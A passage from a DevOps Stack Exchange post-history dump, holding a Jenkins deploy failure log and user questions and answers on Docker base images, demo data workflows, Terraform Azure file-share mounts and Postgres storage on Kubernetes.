&#xD;&#xA;[[1;34mINFO[m] [1m--- [0;32mmaven-war-plugin:2.2:war[m [1m(default-war)[m @ [36mwebapp[0;1m ---[m&#xD;&#xA;[[1;34mINFO[m] Packaging webapp&#xD;&#xA;[[1;34mINFO[m] Assembling webapp [webapp] in [/home/ubuntu/.jenkins/workspace/Development/webapp/target/webapp]&#xD;&#xA;[[1;34mINFO[m] Processing war project&#xD;&#xA;[[1;34mINFO[m] Copying webapp resources [/home/ubuntu/.jenkins/workspace/Development/webapp/src/main/webapp]&#xD;&#xA;[[1;34mINFO[m] Webapp assembled in [33 msecs]&#xD;&#xA;[[1;34mINFO[m] Building war: /home/ubuntu/.jenkins/workspace/Development/webapp/target/webapp.war&#xD;&#xA;[[1;34mINFO[m] WEB-INF/web.xml already added, skipping&#xD;&#xA;[[1;34mINFO[m] [1m------------------------------------------------------------------------[m&#xD;&#xA;[[1;34mINFO[m] [1mReactor Summary for Maven Project 1.0-SNAPSHOT:[m&#xD;&#xA;[[1;34mINFO[m] &#xD;&#xA;[[1;34mINFO[m] Maven Project ...................................... [1;32mSUCCESS[m [  0.010 s]&#xD;&#xA;[[1;34mINFO[m] Server ............................................. [1;32mSUCCESS[m [  2.344 s]&#xD;&#xA;[[1;34mINFO[m] Webapp ............................................. [1;32mSUCCESS[m [  0.776 s]&#xD;&#xA;[[1;34mINFO[m] [1m------------------------------------------------------------------------[m&#xD;&#xA;[[1;34mINFO[m] [1;32mBUILD SUCCESS[m&#xD;&#xA;[[1;34mINFO[m] [1m------------------------------------------------------------------------[m&#xD;&#xA;[[1;34mINFO[m] Total time:  3.453 s&#xD;&#xA;[[1;34mINFO[m] Finished at: 2020-02-06T19:47:13Z&#xD;&#xA;[[1;34mINFO[m] [1m------------------------------------------------------------------------[m&#xD;&#xA;[DeployPublisher][INFO] Attempting to deploy 1 war file(s)&#xD;&#xA;[DeployPublisher][INFO] Deploying /home/ubuntu/.jenkins/workspace/Development/webapp/target/webapp.war to container Tomcat 8.x Remote with context testapp&#xD;&#xA;ERROR: Build step failed with exception&#xD;&#xA;org.codehaus.cargo.container.ContainerException: Failed to redeploy [/home/ubuntu/.jenkins/workspace/Development/webapp/target/webapp.war]&#xD;&#xA;	at org.codehaus.cargo.container.tomcat.internal.AbstractTomcatManagerDeployer.redeploy(AbstractTomcatManagerDeployer.java:188)&#xD;&#xA;	at hudson.plugins.deploy.CargoContainerAdapter.deploy(CargoContainerAdapter.java:81)&#xD;&#xA;	at hudson.plugins.deploy.CargoContainerAdapter$DeployCallable.invoke(CargoContainerAdapter.java:167)&#xD;&#xA;	at hudson.plugins.deploy.CargoContainerAdapter$DeployCallable.invoke(CargoContainerAdapter.java:136)&#xD;&#xA;	at hudson.FilePath.act(FilePath.java:1075)&#xD;&#xA;	at hudson.FilePath.act(FilePath.java:1058)&#xD;&#xA;	at hudson.plugins.deploy.CargoContainerAdapter.redeployFile(CargoContainerAdapter.java:133)&#xD;&#xA;	at hudson.plugins.deploy.PasswordProtectedAdapterCargo.redeployFile(PasswordProtectedAdapterCargo.java:95)&#xD;&#xA;	at hudson.plugins.deploy.DeployPublisher.perform(DeployPublisher.java:113)&#xD;&#xA;	at hudson.tasks.BuildStepCompatibilityLayer.perform(BuildStepCompatibilityLayer.java:78)&#xD;&#xA;	at hudson.tasks.BuildStepMonitor$3.perform(BuildStepMonitor.java:45)&#xD;&#xA;	at hudson.model.AbstractBuild$AbstractBuildExecution.perform(AbstractBuild.java:741)&#xD;&#xA;	at hudson.model.AbstractBuild$AbstractBuildExecution.performAllBuildSteps(AbstractBuild.java:690)&#xD;&#xA;	at hudson.model.Build$BuildExecution.post2(Build.java:186)&#xD;&#xA;	at hudson.model.AbstractBuild$AbstractBuildExecution.post(AbstractBuild.java:635)&#xD;&#xA;	at hudson.model.Run.execute(Run.java:1878)&#xD;&#xA;	at hudson.model.FreeStyleBuild.run(FreeStyleBuild.java:43)&#xD;&#xA;	at hudson.model.ResourceController.execute(ResourceController.java:97)&#xD;&#xA;	at hudson.model.Executor.run(Executor.java:428)&#xD;&#xA;Caused by: javax.net.ssl.SSLException: Unrecognized SSL message, plaintext connection?&#xD;&#xA;	at sun.security.ssl.InputRecord.handleUnknownRecord(InputRecord.java:710)&#xD;&#xA;	at sun.security.ssl.InputRecord.read(InputRecord.java:527)&#xD;&#xA;	at sun.security.ssl.SSLSocketImpl.readRecord(SSLSocketImpl.java:975)&#xD;&#xA;	at sun.security.ssl.SSLSocketImpl.performInitialHandshake(SSLSocketImpl.java:1367)&#xD;&#xA;	at sun.security.ssl.SSLSocketImpl.startHandshake(SSLSocketImpl.java:1395)&#xD;&#xA;	at sun.security.ssl.SSLSocketImpl.startHandshake(SSLSocketImpl.java:1379)&#xD;&#xA;	at sun.net.www.protocol.https.HttpsClient.afterConnect(HttpsClient.java:559)&#xD;&#xA;	at sun.net.www.protocol.https.AbstractDelegateHttpsURLConnection.connect(AbstractDelegateHttpsURLConnection.java:185)&#xD;&#xA;	at sun.net.www.protocol.https.HttpsURLConnectionImpl.connect(HttpsURLConnectionImpl.java:167)&#xD;&#xA;	at org.codehaus.cargo.container.tomcat.internal.TomcatManager.invoke(TomcatManager.java:567)&#xD;&#xA;	at org.codehaus.cargo.container.tomcat.internal.TomcatManager.list(TomcatManager.java:882)&#xD;&#xA;	at org.codehaus.cargo.container.tomcat.internal.TomcatManager.getStatus(TomcatManager.java:895)&#xD;&#xA;	at org.codehaus.cargo.container.tomcat.internal.AbstractTomcatManagerDeployer.redeploy(AbstractTomcatManagerDeployer.java:169)&#xD;&#xA;	... 18 more&#xD;&#xA;javax.net.ssl.SSLException: Unrecognized SSL message, plaintext connection?&#xD;&#xA;	at sun.security.ssl.InputRecord.handleUnknownRecord(InputRecord.java:710)&#xD;&#xA;	at sun.security.ssl.InputRecord.read(InputRecord.java:527)&#xD;&#xA;	at sun.security.ssl.SSLSocketImpl.readRecord(SSLSocketImpl.java:975)&#xD;&#xA;	at sun.security.ssl.SSLSocketImpl.performInitialHandshake(SSLSocketImpl.java:1367)&#xD;&#xA;	at sun.security.ssl.SSLSocketImpl.startHandshake(SSLSocketImpl.java:1395)&#xD;&#xA;	at sun.security.ssl.SSLSocketImpl.startHandshake(SSLSocketImpl.java:1379)&#xD;&#xA;	at sun.net.www.protocol.https.HttpsClient.afterConnect(HttpsClient.java:559)&#xD;&#xA;	at sun.net.www.protocol.https.AbstractDelegateHttpsURLConnection.connect(AbstractDelegateHttpsURLConnection.java:185)&#xD;&#xA;	at sun.net.www.protocol.https.HttpsURLConnectionImpl.connect(HttpsURLConnectionImpl.java:167)&#xD;&#xA;	at org.codehaus.cargo.container.tomcat.internal.TomcatManager.invoke(TomcatManager.java:567)&#xD;&#xA;	at org.codehaus.cargo.container.tomcat.internal.TomcatManager.list(TomcatManager.java:882)&#xD;&#xA;	at org.codehaus.cargo.container.tomcat.internal.TomcatManager.getStatus(TomcatManager.java:895)&#xD;&#xA;	at org.codehaus.cargo.container.tomcat.internal.AbstractTomcatManagerDeployer.redeploy(AbstractTomcatManagerDeployer.java:169)&#xD;&#xA;	at hudson.plugins.deploy.CargoContainerAdapter.deploy(CargoContainerAdapter.java:81)&#xD;&#xA;	at hudson.plugins.deploy.CargoContainerAdapter$DeployCallable.invoke(CargoContainerAdapter.java:167)&#xD;&#xA;	at hudson.plugins.deploy.CargoContainerAdapter$DeployCallable.invoke(CargoContainerAdapter.java:136)&#xD;&#xA;	at hudson.FilePath.act(FilePath.java:1075)&#xD;&#xA;	at hudson.FilePath.act(FilePath.java:1058)&#xD;&#xA;	at hudson.plugins.deploy.CargoContainerAdapter.redeployFile(CargoContainerAdapter.java:133)&#xD;&#xA;	at hudson.plugins.deploy.PasswordProtectedAdapterCargo.redeployFile(PasswordProtectedAdapterCargo.java:95)&#xD;&#xA;	at hudson.plugins.deploy.DeployPublisher.perform(DeployPublisher.java:113)&#xD;&#xA;	at hudson.tasks.BuildStepCompatibilityLayer.perform(BuildStepCompatibilityLayer.java:78)&#xD;&#xA;	at hudson.tasks.BuildStepMonitor$3.perform(BuildStepMonitor.java:45)&#xD;&#xA;	at hudson.model.AbstractBuild$AbstractBuildExecution.perform(AbstractBuild.java:741)&#xD;&#xA;	at hudson.model.AbstractBuild$AbstractBuildExecution.performAllBuildSteps(AbstractBuild.java:690)&#xD;&#xA;	at hudson.model.Build$BuildExecution.post2(Build.java:186)&#xD;&#xA;	at hudson.model.AbstractBuild$AbstractBuildExecution.post(AbstractBuild.java:635)&#xD;&#xA;	at hudson.model.Run.execute(Run.java:1878)&#xD;&#xA;	at hudson.model.FreeStyleBuild.run(FreeStyleBuild.java:43)&#xD;&#xA;	at hudson.model.ResourceController.execute(ResourceController.java:97)&#xD;&#xA;	at hudson.model.Executor.run(Executor.java:428)&#xD;&#xA;Build step 'Deploy war/ear to a container' marked build as failure&#xD;&#xA;Finished: FAILURE" ContentLicense="CC BY-SA 4.0" />
  <row Id="32970" PostHistoryTypeId="1" PostId="10737" RevisionGUID="282c1db5-6ad9-4a1c-875b-600989ebb994" CreationDate="2020-02-06T20:00:14.797" UserId="19546" Text="Jenkins-Deployment failure, Build successful" ContentLicense="CC BY-SA 4.0" />
  <row Id="32971" PostHistoryTypeId="3" PostId="10737" RevisionGUID="282c1db5-6ad9-4a1c-875b-600989ebb994" CreationDate="2020-02-06T20:00:14.797" UserId="19546" Text="&lt;jenkins&gt;&lt;git&gt;&lt;jenkins-plugins&gt;&lt;java&gt;&lt;tomcat&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32972" PostHistoryTypeId="50" PostId="10367" RevisionGUID="e3162083-6974-4af0-8013-e46fe933e8a2" CreationDate="2020-02-06T20:02:20.347" UserId="-1" />
  <row Id="32974" PostHistoryTypeId="2" PostId="10738" RevisionGUID="990c42b4-3de9-43e7-b8c6-9fe6796b704a" CreationDate="2020-02-06T23:00:18.087" UserId="19549" Text="What are the benefits of using an application specific Docker image vs a generic OS?&#xD;&#xA;&#xD;&#xA;Example 1 | Use application specific images:&#xD;&#xA;&#xD;&#xA;    FROM node as build&#xD;&#xA;    RUN npm install&#xD;&#xA;    COPY package-lock.json&#xD;&#xA;    RUN ng build --prod&#xD;&#xA;    &#xD;&#xA;    FROM nginx&#xD;&#xA;    # ... move files from build to nginx/html&#xD;&#xA;    EXPOSE port&#xD;&#xA;&#xD;&#xA;Example 2 | Use a linux base image:&#xD;&#xA;&#xD;&#xA;    FROM ubuntu&#xD;&#xA;    RUN apt-get install npm&#xD;&#xA;    RUN apt-get install nginx&#xD;&#xA;    COPY . . &#xD;&#xA;    RUN npm install&#xD;&#xA;    # ... build Angular app and mv files to nginx/html&#xD;&#xA;&#xD;&#xA;Example 3 | Build angular app outside of docker first and:&#xD;&#xA;&#xD;&#xA;    FROM nginx&#xD;&#xA;    COPY . .&#xD;&#xA;    # mv files to nginx/html&#xD;&#xA;    EXPOSE port&#xD;&#xA;&#xD;&#xA;What are the advantages / disadvantages to doing it one of these 3 ways? Are there image size differences? Does the orchestration environment (kubernetes) need access to the base images or is everything needed included when it's pushed? Which way is considered best practice?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32975" PostHistoryTypeId="1" PostId="10738" RevisionGUID="990c42b4-3de9-43e7-b8c6-9fe6796b704a" CreationDate="2020-02-06T23:00:18.087" UserId="19549" Text="Using a ubuntu base image vs an application specific image (node, python, etc)" ContentLicense="CC BY-SA 4.0" />
  <row Id="32976" PostHistoryTypeId="3" PostId="10738" RevisionGUID="990c42b4-3de9-43e7-b8c6-9fe6796b704a" CreationDate="2020-02-06T23:00:18.087" UserId="19549" Text="&lt;docker&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32977" PostHistoryTypeId="5" PostId="10738" RevisionGUID="a1afe6f9-836d-46f7-b3c9-9c7afd05d647" CreationDate="2020-02-06T23:13:21.660" UserId="19549" Comment="added 99 characters in body" Text="What are the benefits of using an application specific Docker image vs a generic OS? I'll use an angular app here as a contextual example, but this should apply to other apps as well.&#xD;&#xA;&#xD;&#xA;Example 1 | Use application specific images:&#xD;&#xA;&#xD;&#xA;    FROM node as build&#xD;&#xA;    RUN npm install&#xD;&#xA;    COPY package-lock.json&#xD;&#xA;    RUN ng build --prod&#xD;&#xA;    &#xD;&#xA;    FROM nginx&#xD;&#xA;    # ... move files from build to nginx/html&#xD;&#xA;    EXPOSE port&#xD;&#xA;&#xD;&#xA;Example 2 | Use a linux base image:&#xD;&#xA;&#xD;&#xA;    FROM ubuntu&#xD;&#xA;    RUN apt-get install npm&#xD;&#xA;    RUN apt-get install nginx&#xD;&#xA;    COPY . . &#xD;&#xA;    RUN npm install&#xD;&#xA;    # ... build Angular app and mv files to nginx/html&#xD;&#xA;&#xD;&#xA;Example 3 | Build angular app outside of docker first and:&#xD;&#xA;&#xD;&#xA;    FROM nginx&#xD;&#xA;    COPY . .&#xD;&#xA;    # mv files to nginx/html&#xD;&#xA;    EXPOSE port&#xD;&#xA;&#xD;&#xA;What are the advantages / disadvantages to doing it one of these 3 ways? Are there image size differences? Does the orchestration environment (kubernetes) need access to the base images or is everything needed included when it's pushed? Which way is considered best practice?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32978" PostHistoryTypeId="50" PostId="5887" RevisionGUID="e64cf521-31d8-4626-b246-0a17901aed4e" CreationDate="2020-02-07T00:02:25.283" UserId="-1" />
  <row Id="32979" PostHistoryTypeId="2" PostId="10739" RevisionGUID="d765a686-5f4f-426a-aa14-7c83593d615c" CreationDate="2020-02-07T00:40:32.490" UserId="17579" Text="They're all functionally equivalent.  When you `docker push` or `docker pull` an image (or mention it in a Kubernetes manifest), all of its layers are pushed or pulled, so you always get a complete image with all of its dependencies at the point where it was built.  (It turns out the versioned `ubuntu` images are re-released pretty routinely to include current security patches.)&#xD;&#xA;&#xD;&#xA;Building your application outside of Docker was pretty common before there were multi-stage builds.  There's nothing wrong with doing it, if it makes sense.  It makes more sense if your built application artifact is portable (in your example, Webpack JavaScript/HTML/CSS artifacts; Java `.jar` files work well here too).  This is also pretty easy to plug into an existing CI system that produces the artifacts, and then you just need to wrap them up in an image.&#xD;&#xA;&#xD;&#xA;Using prebuilt images like `nginx` or `node`, or building your own on top of `ubuntu` or `alpine`, is mostly a matter of taste and organizational requirements.  Building an image `FROM node` will be easier than building your own Node image and can get you running faster; if you start `FROM ubuntu` then you know exactly who built it and what security updates and packages are in it.&#xD;&#xA;&#xD;&#xA;If you're pinning to specific versions of software, the other important thing to be aware of is that the Docker Hub packages eventually stop getting updates.  If you're using `node:8` that image isn't being automatically built any more; if you pin to a more specific version, `node:12.13` or `node:12.14.0` aren't getting updates either.  (As of this writing the [Docker Hub `node` page](https://hub.docker.com/_/node) lists `12.14.1` as the current LTS build.)  That could be an issue if you're forced to take a language runtime update to get an OS-level security fix." ContentLicense="CC BY-SA 4.0" />
  <row Id="32980" PostHistoryTypeId="2" PostId="10740" RevisionGUID="183ac1f1-e78f-4554-99ed-60137829108b" CreationDate="2020-02-07T00:48:15.193" UserId="19553" Text="Is there a good DevOps method to construct a workflow that creates demo data for a product? This situation is difficult when the app constantly changes. There are a few scenarios to consider.&#xD;&#xA;&#xD;&#xA; 1. Either old demo data becomes obsolete in the new build or the old&#xD;&#xA;    data can be considered corrupted in the new build.&#xD;&#xA;    &#xD;&#xA; 2. New business logic is introduced which requires interaction with the&#xD;&#xA;        app for the new data to be formed. You cannot look at the new&#xD;&#xA;        schema, static rules or old data to derivative/fill in such data.&#xD;&#xA;&#xD;&#xA; 3. Program managers have the insider info on what the demo data needs&#xD;&#xA;        to look like, not the engineers. So the workflow needs to match up&#xD;&#xA;        during the process, from (build -&gt; test -&gt; deploy) somehow.&#xD;&#xA;&#xD;&#xA;One approach is to run tests that have demo data in it. So after the tests were ran, we can extract the data for our demos. But I can see that the tests can be very long and not as instant as importing a csv file. Also the coordination between PMs and engineers seems to be tightly coupled.&#xD;&#xA;&#xD;&#xA;Another approach is to start with the new scheme from the repository and generate data from there. But this requires overhead of creating rules for generation which may not be in sync with the logic of app itself.&#xD;&#xA;&#xD;&#xA;It seems a top down approach is better, so you generate dynamic data sets per release. Instead of working with a backward compatibility mindset with older static data.&#xD;&#xA;&#xD;&#xA;The problem is to keep the app and the data in sync and valid for each iteration, while allowing the PMs and engineers to work in parallel from one another without relying on each other." ContentLicense="CC BY-SA 4.0" />
  <row Id="32981" PostHistoryTypeId="1" PostId="10740" RevisionGUID="183ac1f1-e78f-4554-99ed-60137829108b" CreationDate="2020-02-07T00:48:15.193" UserId="19553" Text="DevOps approach to creating demo data?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32982" PostHistoryTypeId="3" PostId="10740" RevisionGUID="183ac1f1-e78f-4554-99ed-60137829108b" CreationDate="2020-02-07T00:48:15.193" UserId="19553" Text="&lt;azure-devops&gt;&lt;workflow&gt;&lt;data&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32984" PostHistoryTypeId="50" PostId="10421" RevisionGUID="89bc79c1-7c98-41b1-bf4f-30e44bd2d7ac" CreationDate="2020-02-07T08:01:45.217" UserId="-1" />
  <row Id="32985" PostHistoryTypeId="2" PostId="10741" RevisionGUID="8384e9a1-a141-48cf-8eda-ea3d369591fc" CreationDate="2020-02-07T08:46:23.073" UserId="19559" Text="What is a good way to mount an Azure File Storage automatically during provisioning on VMs?&#xD;&#xA;&#xD;&#xA;There is a [Microsoft doc][1] describing how a file share can be mounted in general. This requires that Azure CLI is installed and a user is logged in.&#xD;&#xA;&#xD;&#xA;As an alternative, I have created a working setup using terraform working on local host:&#xD;&#xA;&#xD;&#xA;First, the existing storage account needs to be defined:&#xD;&#xA;&#xD;&#xA;    data &quot;azurerm_storage_account&quot; &quot;storage-account&quot; {&#xD;&#xA;      name                = &quot;storageaccount&quot;&#xD;&#xA;      resource_group_name = &quot;RG-storage-account&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;When a VM is provisioned, the share is mounted by a remote execution provisionier:&#xD;&#xA;&#xD;&#xA;    resource &quot;azurerm_virtual_machine&quot; &quot;vm&quot; {&#xD;&#xA;      # ...&#xD;&#xA;      # stuff&#xD;&#xA;&#xD;&#xA;      provisioner &quot;remote-exec&quot; {&#xD;&#xA;        inline = [&#xD;&#xA;          &quot;sudo mkdir -p /mnt/${data.azurerm_storage_account.storage-accoun.name}/share&quot;,&#xD;&#xA;          &quot;sudo mount -t cifs //${data.azurerm_storage_account.storage-account.name}.file.core.windows.net/share /mnt/${data.azurerm_storage_account.storage-account.name}/share -o vers=3.0,dir_mode=0755,file_mode=0755,serverino,username=${data.azurerm_storage_account.storage-account.name},password=${data.azurerm_storage_account.storage-account.primary_access_key}&quot;,&#xD;&#xA;        ]&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Similar it is also possible to inject the mount to `/etc/fstab`, also by using cloud init.&#xD;&#xA;&#xD;&#xA;However, after applying, the key (accessed as `primary_access_key`) remains in the terraform state. Is this considered safe? Is there a way to delete the key from the state? Also, when using cloud-init, the key will remain in the custom data of the VM.&#xD;&#xA;&#xD;&#xA;Is there another safe way to mount data on the VM without storing the keys?&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/virtual-machines/linux/mount-azure-file-storage-on-linux-using-smb" ContentLicense="CC BY-SA 4.0" />
  <row Id="32986" PostHistoryTypeId="1" PostId="10741" RevisionGUID="8384e9a1-a141-48cf-8eda-ea3d369591fc" CreationDate="2020-02-07T08:46:23.073" UserId="19559" Text="Mount Azure FileShare using terraform" ContentLicense="CC BY-SA 4.0" />
  <row Id="32987" PostHistoryTypeId="3" PostId="10741" RevisionGUID="8384e9a1-a141-48cf-8eda-ea3d369591fc" CreationDate="2020-02-07T08:46:23.073" UserId="19559" Text="&lt;terraform&gt;&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32988" PostHistoryTypeId="50" PostId="10426" RevisionGUID="35c719ab-1c73-49da-b605-de8a5ca5dd87" CreationDate="2020-02-07T10:02:30.247" UserId="-1" />
  <row Id="32992" PostHistoryTypeId="2" PostId="10743" RevisionGUID="f48389bb-4753-460f-89a3-cea3f19cce65" CreationDate="2020-02-07T12:08:09.993" UserId="707" Text="Welcome to DevOps SE!&#xD;&#xA;&#xD;&#xA;Is it possible to make data management and operation of data sets to be an asset on its own? It seems like data has become more important so a more *data-centric* approach could help.&#xD;&#xA;&#xD;&#xA;&gt; Program managers have the insider info on what the demo data needs to&#xD;&#xA;&gt; look like&#xD;&#xA;&#xD;&#xA;This proves also organizational silo and lack of communication in the process: even before DevOps, in an agile team e.g. scrum you could have not only engineers but also a product owner and testers who take responsibility to provide not only useful tests but also useful testdata to the team.&#xD;&#xA;&#xD;&#xA;That is, the fourth possible scenario could be that you take a data set from production and scramble/anonymize it. If it is too large, you need to reduce it to a representative mix. A DevOps way to do it would be to automate all these steps after they are well understood. =&gt; Working real life scenario." ContentLicense="CC BY-SA 4.0" />
  <row Id="32995" PostHistoryTypeId="2" PostId="10745" RevisionGUID="415dca8c-acea-47bb-952f-6e51e9ecb739" CreationDate="2020-02-07T12:44:00.523" UserId="19501" Text="It seems to be an issue with Tomcat URL you are using. Either you are using &quot;HTTP&quot; in deployment when server is expecting HTTPS or vice versa.&#xD;&#xA;&#xD;&#xA;&gt; hudson.model.Executor.run(Executor.java:428) Caused by: javax.net.ssl.SSLException: Unrecognized SSL message, plaintext connection?&#xD;&#xA;&#xD;&#xA;Have a look at this answer [unrecognized-ssl-message-plaintext-connection-exception](https://stackoverflow.com/questions/6532273/unrecognized-ssl-message-plaintext-connection-exception)" ContentLicense="CC BY-SA 4.0" />
  <row Id="32996" PostHistoryTypeId="2" PostId="10746" RevisionGUID="40b248c4-274f-4b14-886b-519caa1bbc10" CreationDate="2020-02-07T13:04:05.570" UserId="19567" Text="For me it looks to be tunnel misconfigured -  &quot;there is a message about protocol mismatch&quot;&#xD;&#xA;&#xD;&#xA;Regarding the limitations quick google took me here: [[strongSwan] strongswan limits][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://lists.strongswan.org/pipermail/users/2010-December/001179.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="32997" PostHistoryTypeId="2" PostId="10747" RevisionGUID="0f03480b-fac5-4a75-ac46-deb944bf41a7" CreationDate="2020-02-07T13:12:27.447" UserId="19501" Text="In addition to connecting app container with same `backend` network, you will also need to fix MySQL host parameter in connection string.&#xD;&#xA;&#xD;&#xA;Looking at `main` function you have MySQL host set to `localhost`&#xD;&#xA;&#xD;&#xA;`serverName := &quot;localhost:3306&quot;`&#xD;&#xA;&#xD;&#xA;However, MySQL is not listening at `lcoalhost` of appc container you will need to change it to MySQL service name in compose file, i.e. `db`" ContentLicense="CC BY-SA 4.0" />
  <row Id="32998" PostHistoryTypeId="5" PostId="10669" RevisionGUID="e1daca55-95d7-4d15-bb67-cd2c854d9b4c" CreationDate="2020-02-07T20:28:06.083" UserId="11490" Comment="deleted 6 characters in body" Text="These are pretty much the steps I have followed in order. Basically what is outlined in the documentation:&#xD;&#xA;&#xD;&#xA;https://docs.microsoft.com/en-us/azure/aks/azure-files-dynamic-pv&#xD;&#xA;&#xD;&#xA;1. `azure-storage-claim.yaml`&#xD;&#xA;```&#xD;&#xA;kind: StorageClass&#xD;&#xA;apiVersion: storage.k8s.io/v1&#xD;&#xA;metadata:&#xD;&#xA;  name: test-app-sc&#xD;&#xA;provisioner: kubernetes.io/azure-file&#xD;&#xA;mountOptions:&#xD;&#xA;  - dir_mode=0777&#xD;&#xA;  - file_mode=0777&#xD;&#xA;  - uid=1000&#xD;&#xA;  - gid=1000&#xD;&#xA;  - mfsymlinks&#xD;&#xA;  - nobrl&#xD;&#xA;  - cache=none&#xD;&#xA;parameters:&#xD;&#xA;  skuName: Standard_LRS&#xD;&#xA;  location: westus&#xD;&#xA;```&#xD;&#xA;2. `azure-storage.yaml`&#xD;&#xA;```&#xD;&#xA;apiVersion: v1&#xD;&#xA;kind: PersistentVolumeClaim&#xD;&#xA;metadata:&#xD;&#xA;  name: test-app-storage&#xD;&#xA;spec:&#xD;&#xA;  accessModes:&#xD;&#xA;    - ReadWriteMany&#xD;&#xA;  storageClassName: test-app-sc&#xD;&#xA;  resources:&#xD;&#xA;    requests:&#xD;&#xA;      storage: 15Gi&lt;br&gt;&#xD;&#xA;```&#xD;&#xA;PVC is now setup.&#xD;&#xA;&#xD;&#xA;Changed the mountPath per the Postgres image documentation:&#xD;&#xA;&#xD;&#xA;&gt;PGDATA&#xD;&#xA;&#xD;&#xA;&gt;This optional variable can be used to define another location - like a subdirectory - for the database files. The default is /var/lib/postgresql/data, but if the data volume you're using is a filesystem mountpoint (like with GCE persistent disks), Postgres initdb recommends a subdirectory (for example /var/lib/postgresql/data/pgdata ) be created to contain the data.&#xD;&#xA;&#xD;&#xA;&gt;This is an environment variable that is not Docker specific. Because the variable is used by the postgres server binary (see the PostgreSQL docs), the entrypoint script takes it into account.&lt;br&gt;&#xD;&#xA;&#xD;&#xA;Based on that, I have my `postgres.yaml` setup like the following:&#xD;&#xA;```&#xD;&#xA;apiVersion: apps/v1&#xD;&#xA;kind: Deployment&#xD;&#xA;metadata:&#xD;&#xA;  name: postgres-deployment&#xD;&#xA;spec:&#xD;&#xA;  replicas: 1&#xD;&#xA;  selector:&#xD;&#xA;    matchLabels:&#xD;&#xA;      component: postgres&#xD;&#xA;  template:&#xD;&#xA;    metadata:&#xD;&#xA;      labels:&#xD;&#xA;        component: postgres&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;        - name: postgres&#xD;&#xA;          image: postgres&#xD;&#xA;          # I don't know, someone suggested this, but doesn't work apparently&#xD;&#xA;          securityContext: &#xD;&#xA;            runAsUser: 0&#xD;&#xA;          ports:&#xD;&#xA;            - containerPort: 5432&#xD;&#xA;          env: &#xD;&#xA;            - name: POSTGRES_DB&#xD;&#xA;              valueFrom:&#xD;&#xA;                secretKeyRef:&#xD;&#xA;                  name: test-app-secrets&#xD;&#xA;                  key: PGDATABASE&#xD;&#xA;            - name: POSTGRES_USER&#xD;&#xA;              valueFrom:&#xD;&#xA;                secretKeyRef:&#xD;&#xA;                  name: test-app-secrets&#xD;&#xA;                  key: PGUSER&#xD;&#xA;            - name: POSTGRES_PASSWORD&#xD;&#xA;              valueFrom:&#xD;&#xA;                secretKeyRef:&#xD;&#xA;                  name: test-app-secrets&#xD;&#xA;                  key: PGPASSWORD&#xD;&#xA;            - name: POSTGRES_INITDB_ARGS&#xD;&#xA;              value: &quot;-A md5&quot;&#xD;&#xA;            - name: PGDATA&#xD;&#xA;              value: /var/lib/postgresql/data/pgdata&#xD;&#xA;          volumeMounts:&#xD;&#xA;            - name: postgres-storage&#xD;&#xA;              mountPath: /var/lib/postgresql/data/pgdata&#xD;&#xA;              subPath: postgres-storage&#xD;&#xA;      volumes:&#xD;&#xA;        - name: postgres-storage&#xD;&#xA;          persistentVolumeClaim:&#xD;&#xA;            claimName: test-app-storage&#xD;&#xA;---&#xD;&#xA;apiVersion: v1&#xD;&#xA;kind: Service&#xD;&#xA;metadata:&#xD;&#xA;  name: postgres-cluster-ip-service&#xD;&#xA;spec:&#xD;&#xA;  type: ClusterIP&#xD;&#xA;  selector:&#xD;&#xA;    component: postgres&#xD;&#xA;  ports:&#xD;&#xA;    - port: 1423&#xD;&#xA;      targetPort: 5432&#xD;&#xA;```&#xD;&#xA;You get the error:&#xD;&#xA;```&#xD;&#xA;chmod: changing permissions of '/var/lib/postgresql/data/pgdata': Operation not permitted&#xD;&#xA;```&#xD;&#xA;So with either of that as the Dockerfile:&#xD;&#xA;```&#xD;&#xA;FROM postgres:11-alpine&#xD;&#xA;EXPOSE 5432&#xD;&#xA;RUN /bin/bash -c 'chmod 777 /var/lib/postgresql/data'&#xD;&#xA;RUN /bin/bash -c 'chmod 777 /var/lib/postgresql/data/pgdata'&#xD;&#xA;```&#xD;&#xA;Or&#xD;&#xA;```&#xD;&#xA;FROM postgres:11-alpine&#xD;&#xA;EXPOSE 5432&#xD;&#xA;```&#xD;&#xA;It doesn't really matter, you still get the same type of error by doing any the following:&#xD;&#xA;```&#xD;&#xA;            ...&#xD;&#xA;            - name: POSTGRES_INITDB_ARGS&#xD;&#xA;              value: &quot;-A md5&quot;&#xD;&#xA;          volumeMounts:&#xD;&#xA;            - name: postgres-storage&#xD;&#xA;              mountPath: /var/lib/postgresql/data/pgdata&#xD;&#xA;              subPath: postgres-storage&#xD;&#xA;      volumes:&#xD;&#xA;        - name: postgres-storage&#xD;&#xA;          persistentVolumeClaim:&#xD;&#xA;            claimName: test-app-storage&#xD;&#xA;     ...&lt;br&gt;&#xD;&#xA;```&#xD;&#xA;Results in the following error:&#xD;&#xA;```&#xD;&#xA;The files belonging to this database system will be owned by user &quot;postgres&quot;. This user must also own the server process.&#xD;&#xA;The database cluster will be initialized with locale &quot;en_US.utf8&quot;. The default database encoding has accordingly been set to &quot;UTF8&quot;. The default text search configuration will be set to &quot;english&quot;.&#xD;&#xA;&#xD;&#xA;Data page checksums are disabled.&#xD;&#xA;&#xD;&#xA;initdb: error: directory &quot;/var/lib/postgresql/data&quot; exists but is not empty If you want to create a new database system, either remove or empty the directory &quot;/var/lib/postgresql/data&quot; or run initdb with an argument other than &quot;/var/lib/postgresql/data&quot;.&#xD;&#xA;```&#xD;&#xA;Try this:&#xD;&#xA;```&#xD;&#xA;            ...&#xD;&#xA;            - name: POSTGRES_INITDB_ARGS&#xD;&#xA;              value: &quot;-A md5&quot;&#xD;&#xA;          volumeMounts:&#xD;&#xA;            - name: 